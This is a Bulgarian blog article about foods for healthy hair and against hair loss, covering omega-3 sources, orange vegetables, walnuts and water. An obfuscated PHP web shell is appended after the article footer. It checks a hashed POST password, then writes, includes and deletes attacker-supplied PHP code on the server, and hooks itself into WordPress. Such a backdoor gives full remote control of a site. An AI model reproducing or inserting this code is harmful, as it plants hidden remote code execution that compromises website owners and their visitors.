Храни за здрава коса и срещу косопад- част 2 | Косопад

Храни за здрава коса и срещу косопад- част 2

Здрава коса е резултат от начина ни на хранене. Предлагаме ви втора част от статията, посветена на храните, които са важни, за да имаме красива и силна коса.

proteini-kosa

РИБА И СЕМЕНА

Тялото ни не може да произвежда тези видове мазнини по естествен начин, въпреки че са ни необходими. Тези мазнини помагат да храним клетките, които изграждат косата и скалпа, като ги хидратират. Приемайте омега- 3 от авокадото, тиквените семки, орехите, сьомгата и сардините. Само с 5 грама омега- 3 на ден, имаме напълно достатъчно от нея. Равнява се на шепа семена или на малко парче риба.

riba-yaitsa

ЖЪЛТИ И ОРАНЖЕВИ ЗЕЛЕНЧУЦИ

Зеленчуци като моркови и тиква ни доставят витамин А. Този витамин помага за производството на себум в скалпа. Себумът е мазна субстанция, която действа като естествен балсам срещу появата на пърхот и изсушаване на косата. Жълтите и оранжеви зеленчуци са богати на бетакаротени и витамин А.

ОРЕХИ

Богати са на витамин Е, селен и цинк. Тези три вещества предпазват от косопад, поява на пърхот и изсушаване на косата. Л- аргининът, който се съдържа в орехите, подпомага растежа на косата. Най- ефективен е, когато го приемаме чрез храната.

ВОДА

¼ от косъма е изграден от вода. Чрез нея изхвърляме токсините, химикалите, оцветителите и пр. вредни за косата вещества. За да имаме красива и здрава коса, трябва да пием между 8 и 10 чаши вода дневно.

12. ноември 2014 16:30:40 от Надя Колева
Категории: Косопад – Статии | Етикети: , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}